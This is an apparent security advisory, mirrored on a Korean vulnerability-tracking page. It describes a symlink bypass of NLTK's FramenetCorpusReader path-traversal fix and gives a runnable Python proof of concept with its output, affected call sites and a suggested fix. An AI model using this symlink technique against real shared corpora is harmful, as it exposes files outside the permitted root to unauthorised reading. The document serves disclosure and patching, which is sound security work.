NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N상세 설명
This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.
Summary
The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.
A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.
Affected code (nltk/corpus/reader/framenet.py)
frame_by_name()reads<frame_dir>/<name>.xml_lu_file()reads<lu_dir>/lu<id>.xmldoc()reads<fulltext_dir>/<filename>
All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.
Proof of concept
Self-contained, runnable end to end.
1import os 2import tempfile 3 4from nltk.corpus.reader.framenet import FramenetCorpusReader 5 6root = tempfile.mkdtemp() 7corpus_root = os.path.join(root, "framenet_v17") 8frame_dir = os.path.join(corpus_root, "frame") 9secret_dir = os.path.join(root, "outside_framenet_root")10os.makedirs(frame_dir)11os.makedirs(secret_dir)12 13with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:14 f.write("<frameRelations/>")15 16secret_path = os.path.join(secret_dir, "stolen.xml")17with open(secret_path, "w") as f:18 f.write(19 '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'20 "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"21 "</frame>"22 )23 24# Attacker plants this inside <corpus_root>/frame/. No path separators,25# so it passes _reject_unsafe_path_component cleanly.26link_path = os.path.join(frame_dir, "evil_link.xml")27os.symlink(secret_path, link_path)28 29reader = FramenetCorpusReader(corpus_root, [])30reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build31 32result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere33print("frame name:", result["name"])34print("definition:", result["definition"])Actual output when run against unpatched main (commit 35813c8):
1frame name: StolenFrame 2definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOTThat content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.
Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.
Why this is in scope
- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own
SECURITY.mdnames "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool.
- Confirmed unintentional: PR #3581's own description states the goal was to route through "the
nltk.pathsecsandbox... including the strictENFORCE=Truemode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, sinceabspath()never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).
Suggested fix
Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 8
링크 내용 불러오는 중…